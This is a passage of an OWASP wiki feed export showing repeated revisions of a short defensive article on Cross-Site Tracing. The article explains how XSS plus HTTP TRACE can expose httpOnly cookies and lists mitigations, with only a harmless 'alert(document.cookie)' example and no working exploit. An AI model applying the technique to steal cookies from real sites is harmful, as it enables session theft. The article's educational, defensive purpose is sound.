[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22345</id>
		<title>Cross Site Tracing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22345"/>
				<updated>2007-10-11T12:25:21Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: XST moved to Cross Site Tracing: I decided it's more proper if the article name isn't an acronym. I'll set up a re-direct for XST&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
An XST (Cross-Site Tracing) attack involves the use of XSS and the HTTP TRACE function. HTTP TRACE is a default function in many webservers primarily used for debugging. The client sends an HTTP TRACE with all header information including cookies, and the server simply responds with that same data. If using Javascript or other methods to steal a cookie or other information is disabled through the use of an &amp;quot;httpOnly&amp;quot; cookie or otherwise, an attacker may force the browser to send an HTTP TRACE request and send the server response to another site. &amp;quot;httpOnly&amp;quot; is an extra parameter added to cookies which hides the cookie from the script (supported in most, but not all browsers). For example &amp;quot;javascript:alert(document.cookie)&amp;quot; would not show an httpOnly cookie.&lt;br /&gt;
&lt;br /&gt;
This type of attack can occur when the there is an XSS vulnerability and the server supports HTTP TRACE.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Avoidance and mitigation ==&lt;br /&gt;
&lt;br /&gt;
* Disable HTTP Trace on your web server&lt;br /&gt;
&lt;br /&gt;
* Prevent any XSS on your web site &lt;br /&gt;
&lt;br /&gt;
== Examples and References ==&lt;br /&gt;
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
* [[Testing for HTTP Methods and XST]]&lt;br /&gt;
&lt;br /&gt;
== Related Attacks and Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
* [[XSS]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XST&amp;diff=22346</id>
		<title>XST</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XST&amp;diff=22346"/>
				<updated>2007-10-11T12:25:21Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: XST moved to Cross Site Tracing: I decided it's more proper if the article name isn't an acronym. I'll set up a re-direct for XST&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Cross Site Tracing]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22344</id>
		<title>Cross Site Tracing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22344"/>
				<updated>2007-10-11T12:20:17Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
An XST (Cross-Site Tracing) attack involves the use of XSS and the HTTP TRACE function. HTTP TRACE is a default function in many webservers primarily used for debugging. The client sends an HTTP TRACE with all header information including cookies, and the server simply responds with that same data. If using Javascript or other methods to steal a cookie or other information is disabled through the use of an &amp;quot;httpOnly&amp;quot; cookie or otherwise, an attacker may force the browser to send an HTTP TRACE request and send the server response to another site. &amp;quot;httpOnly&amp;quot; is an extra parameter added to cookies which hides the cookie from the script (supported in most, but not all browsers). For example &amp;quot;javascript:alert(document.cookie)&amp;quot; would not show an httpOnly cookie.&lt;br /&gt;
&lt;br /&gt;
This type of attack can occur when the there is an XSS vulnerability and the server supports HTTP TRACE.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Avoidance and mitigation ==&lt;br /&gt;
&lt;br /&gt;
* Disable HTTP Trace on your web server&lt;br /&gt;
&lt;br /&gt;
* Prevent any XSS on your web site &lt;br /&gt;
&lt;br /&gt;
== Examples and References ==&lt;br /&gt;
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
* [[Testing for HTTP Methods and XST]]&lt;br /&gt;
&lt;br /&gt;
== Related Attacks and Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
* [[XSS]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22343</id>
		<title>Cross Site Tracing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross_Site_Tracing&amp;diff=22343"/>
				<updated>2007-10-11T12:18:55Z</updated>
		
		<summary type="html">&lt;p&gt;Kcghost: New page: {{Template:Attack}} An XST (Cross-Site Tracing) attack involves the use of XSS and the HTTP TRACE function. HTTP TRACE is a default function in many webservers primarily used for debugging...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
An XST (Cross-Site Tracing) attack involves the use of XSS and the HTTP TRACE function. HTTP TRACE is a default function in many webservers primarily used for debugging. The client sends an HTTP TRACE with all header information including cookies, and the server simply responds with that same data. If using Javascript or other methods to steal a cookie or other information is disabled through the use of an &amp;quot;httpOnly&amp;quot; cookie or otherwise, an attacker may force the browser to send an HTTP TRACE request and send the server response to another site. &amp;quot;httpOnly&amp;quot; is an extra parameter added to cookies which hides the cookie from the script. For example &amp;quot;javascript:alert(document.cookie)&amp;quot; would not show an httpOnly cookie.&lt;br /&gt;
&lt;br /&gt;
This type of attack can occur when the there is an XSS vulnerability and the server supports HTTP TRACE.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Avoidance and mitigation ==&lt;br /&gt;
&lt;br /&gt;
* Disable HTTP Trace on your web server&lt;br /&gt;
&lt;br /&gt;
* Prevent any XSS on your web site &lt;br /&gt;
&lt;br /&gt;
== Examples and References ==&lt;br /&gt;
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
* [[Testing for HTTP Methods and XST]]&lt;br /&gt;
&lt;br /&gt;
== Related Attacks and Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
* [[XSS]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Kcghost</name></author>	</entry>

	</feed>